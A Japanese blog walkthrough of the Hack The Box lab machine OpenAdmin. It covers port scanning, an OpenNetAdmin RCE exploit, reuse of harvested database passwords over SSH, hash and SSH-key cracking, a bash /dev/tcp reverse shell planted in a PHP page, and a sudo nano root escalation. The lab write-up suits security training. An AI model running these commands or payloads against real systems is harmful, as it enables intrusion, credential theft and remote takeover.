1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

hackthebox OpenAdmin

Posted at

0.はじめに

hacktheboxのOpenAdmin攻略方法です。
上手く流れに乗らないと手詰まりになるマシンです。
途中で出現する情報を取り逃がさないようにしてください。

1.nmapでポートスキャン

①開いているポートの確認

nmap -sT 10.10.10.171

image.png

②ポートの詳細を確認

nmap -sC -sV -sT -p 22,80 10.10.10.171

image.png
ポート80でapacheが動いているのが確認出来ます。

2.webサイトの調査

①webサイトにアクセス

http://10.10.10.171

image.png
デフォルトページに見えますがubuntuでapacheが動いているのを強調しているようにも見えます。

②ディレクトリ調査

gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirb/common.txt

image.png

music、artworkというディレクトリを検出したので後続で調べることにします。

実際の攻略には影響ないですが、sierraというディレクトリも存在するようです。
今回使用したワードリストにsierraが含まれていないので検出出来ませんでした。

grep -n "sierra" /usr/share/wordlists/dirb/common.txt
grep -n "music" /usr/share/wordlists/dirb/common.txt
grep -n "artwork" /usr/share/wordlists/dirb/common.txt

image.png

sierraも検知したい場合は/usr/share/wordlists/dirb/big.txtを使えば検出出来ます。

ls -l /usr/share/wordlists/dirb/
grep -n "sierra" /usr/share/wordlists/dirb/big.txt

image.png

③発見したディレクトリの調査
・music

http://10.10.10.171/music/

image.png

→「Login」ボタンをクリックすると、以下のURLに遷移します。

http://10.10.10.171/ona/

image.png

→タイトルとバージョン情報から以下が動いていると判断できます。
CMS:OpenNetAdmin
バージョン:18.1.1
「You are NOT on the latest release version」という記述から最新版ではないことがわかります。
そのため、脆弱性が見つかるかもしれないので後続で調べることにします。

・artwork

http://10.10.10.171/artwork/

image.png

→「Contact」をクリックするとメッセージを送るフォームが出るので何か出来る可能性はあります。今回はmusicで見つけた箇所を調査するので無視します。

・sierra

http://10.10.10.171/sierra/

image.png

→「CONTACT」をクリックするとメッセージを送るフォームが出るので何か出来る可能性はあります。今回はmusicで見つけた箇所を調査するので無視します。

3.脆弱性の調査

①OpenNetAdminの脆弱性調査
OpenNetAdminのバージョン18.1.1に脆弱性がない調べます

searchsploit 'OpenNetAdmin 18.1.1'

image.png

実行結果から「Remote Code Execution」のExploitが以下のパスにあることが判明します。

/usr/share/exploitdb/exploits/php/webapps/47691.sh

②Exploitファイル確認

ls -l /usr/share/exploitdb/exploits/php/webapps/47691.sh
cat /usr/share/exploitdb/exploits/php/webapps/47691.sh

image.png

対象のExploitファイルは存在することが確認出来ました。
また、引数としてURLを渡せば実行出来ることも内容から判断出来ます。

4.Exploitの実行

①Exploitの実行

bash /usr/share/exploitdb/exploits/php/webapps/47691.sh http://10.10.10.171/ona/

image.png

②使いやすいシェルに遷移
2つ試してみましたが期待する効果は得られ無かったので飛ばしても大丈夫です。

script /dev/null -c bash

image.png

→動かなくなるのでダメでした。

python -c 'import pty; pty.spawn("/bin/bash")'

image.png

→動くけど実施前と特に変わらない表示でした。

③Exploitの実行後調査
cdコマンドなどが使えないシェルみたいなのでそれを踏まえて調査します。
・実行ユーザ確認

id
whoami

image.png

www-dataというユーザであることがわかります。

・カレントディレクトリの調査

pwd
ls -l

image.png

色々怪しいファイルがあるのでlsとcatコマンドで調査します。

ls -l ./local
ls -l ./local/config
cat ./local/config/database_settings.inc.php

image.png

→DBの接続情報があるので取得しておきます。
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!'

・開いているポートを確認

ss -tln
ss -tlr

image.png

→mysqlがあるのはいいとして、ローカルホストに対して52846ポートが開いているのが気になります。

・ユーザ確認

ls -l /home
cat /etc/passwd | grep -E '/bin/bash|/bin/sh|/usr/bin/zsh|/bin/ash|/bin/ksh'

image.png

jimmy、joanna、rootのユーザがいるとわかります。
→ユーザ情報とDBのパスワード情報があるのでまずはこの組み合わせでSSHを試してみることにします。

5.sshで接続(jimmyユーザ)

①取得したパスワードでssh接続
DB接続のパスワード「n1nj4W4rri0R!」を固定としてユーザ名は「/etc/passwd」のログインシェルを持つユーザを総当たりでSSH接続を試します。(リバースブルートフォース)
対象ユーザ
jimmy
joanna
root

最終的に以下の組み合わせで成功します。

ssh jimmy@10.10.10.171

パスワード:n1nj4W4rri0R!

image.png

②apacheの設定確認
今まで疑問になっていた以下の点からapacheのバーチャルホスト設定を確認します。
・ポートスキャンの結果80ポートはaphacheだったこと
・ローカルホストに対して52846ポートが開いていたこと

cd /etc/apache2/
ls -l
cd sites-available
ls -l

image.png

以下のファイルがlocalhostで52846のバーチャルホストに関する設定です。

cat internal.conf

image.png

サーバ名として「internal.openadmin.htb」を設定していることがわかります。
次にドキュメントルートフォルダを確認します。

cd /var/www/internal
ls -l

image.png

index.phpにパスワード情報が記載されています。

cat index.php

image.png

(途中省略)

image.png

以下のようにsha512のハッシュ値で記載されたパスワードがあります。

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");

③ハッシュ値の解析
以下のオンラインパスワードハッシュクラッカーを使用してハッシュ値の解析をします。

https://crackstation.net/

ハッシュ値

00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1

image.png

→解析結果として「Revealed」であることが判明します。

④ローカルポートフォワーディング
接続先の52846ポートと自身の1234ポートを接続します。
設定例

ssh -L 【ローカルポート】:localhost:【接続先ポート】 【接続ユーザ名】@【接続先IP】

実際のコマンド

ssh -L 1234:localhost:52846 jimmy@10.10.10.171

パスワード:n1nj4W4rri0R!
image.png

⑤52846ポートにアクセス

http://127.0.0.1:1234

image.png

ここで②と③の結果から以下の値を入力して「Login」をクリック
ユーザ名:jimmy
パスワード:Revealed
image.png

ログイン後は以下のURLに遷移して暗号化されたSSHキーが表示されます。

http://127.0.0.1:1234/main.php

image.png

これはmain.phpのソースから「/home/joanna/.ssh/id_rsa」の値とわかります。
image.png

index.php、main.phpがjimmyユーザで編集可能なのでそこに着目した備考です。
①ログインについて
index.phpで以下の部分を変えてしまえばそもそもハッシュ値解析が不要になります。
変更前

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') 

変更後

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) != '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')

ssh接続先でnanoが使えるので以下のコマンドで書き換えます。

nano index.php

image.png

変更後以下の値でログイン可能になります。
ユーザ名:jimmy
パスワード:xxx #Revealed以外なら何でもOK
image.png

②ログイン後の表示内容について
「cat /home/joanna/.ssh/id_rsa」が実行出来るということは少なくともjoannaユーザ権限でmain.phpは実行されていると判断できます。
main.phpを変更して実行出来る操作を確認してみます。
・実行ユーザ確認

id

image.png

結果
image.png

予想通りでjoannaユーザであることがわかります。

・joannaのホームディレクトリ確認

ls -l /home/joanna

image.png

結果
image.png

ユーザフラグがあるので次に中身を取得してみます。

・ユーザフラグの取得

cat /home/joanna/user.txt

image.png

結果
image.png
値は取得出来ましたが正しい値では無かったです。
原因については今後判明したら更新します。

③リバースシェル
ここまでの結果でjoannaユーザとしてコマンド実行出来ることがわかったので、リバースシェルの獲得を試します。
・攻撃端末で待ち受け状態にする

nc -lvnp 5600

image.png

・main.phpにリバースシェルコマンドを追記する

"bash -c 'bash -i >& /dev/tcp/10.10.16.8/5600 0>&1'"

image.png

・webサイトを更新する
image.png

・待ち受けていたシェルに接続が発生する
image.png

・使いやすいシェルに遷移する

script /dev/null -c bash

image.png

・sudo -lの確認をする
image.png

ちゃんとしたシェルじゃないためなのかsudo -lが出来ないです。
こちらについても今後回避策が判明したら更新します。

sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: error initializing audit plugin sudoers_audit

6.sshで接続(joannaユーザ)

①暗号化されたSSHキーのパスフレーズ解読
(A)暗号化されたSSHキーをkeyファイルとして作成

nano key

image.png

(B)ハッシュ値を生成

/usr/share/john/ssh2john.py key > hash

image.png

(C)ハッシュ値からパスワードを解析

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image.png

→「bloodninjas」がパスフレーズであるとわかる

②ssh接続

chmod 600 key
ssh -i key joanna@10.10.10.171

パスフレーズ:bloodninjas

・暗号化されたSSHキーを指定すること
・暗号化されたSSHキーのパーミッションは600にしておくこと

image.png

③userフラグの取得

cat /home/joanna/user.txt

image.png

7.root権限取得

①特権ユーザで実行できるコマンドの調査

sudo -l

image.png

/bin/nano /opt/privがパスワード無しで特権ユーザとして実行出来ることが判明します。

②gtfobins
nanoについてgtfobinsで確認します。

https://gtfobins.github.io/gtfobins/nano/

image.png

記載のコマンドを実行すればよいことがわかります。

③root権限取得

sudo /bin/nano /opt/priv

image.png

「^R」を入力
image.png

「^X」を入力
image.png

以下を入力後、returnキーをクリック

reset; sh 1>&0 2>&0

image.png

実行ユーザ確認

id
whoami

image.png

④rootフラグの取得

cat /root/root.txt

image.png

8.おわりに

途中で怪しいポートを取り逃がさないのがポイントかと思います。
ユーザフラグの取得方法についてももう少し色々なルートがありそうなので今後判明したら更新します。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?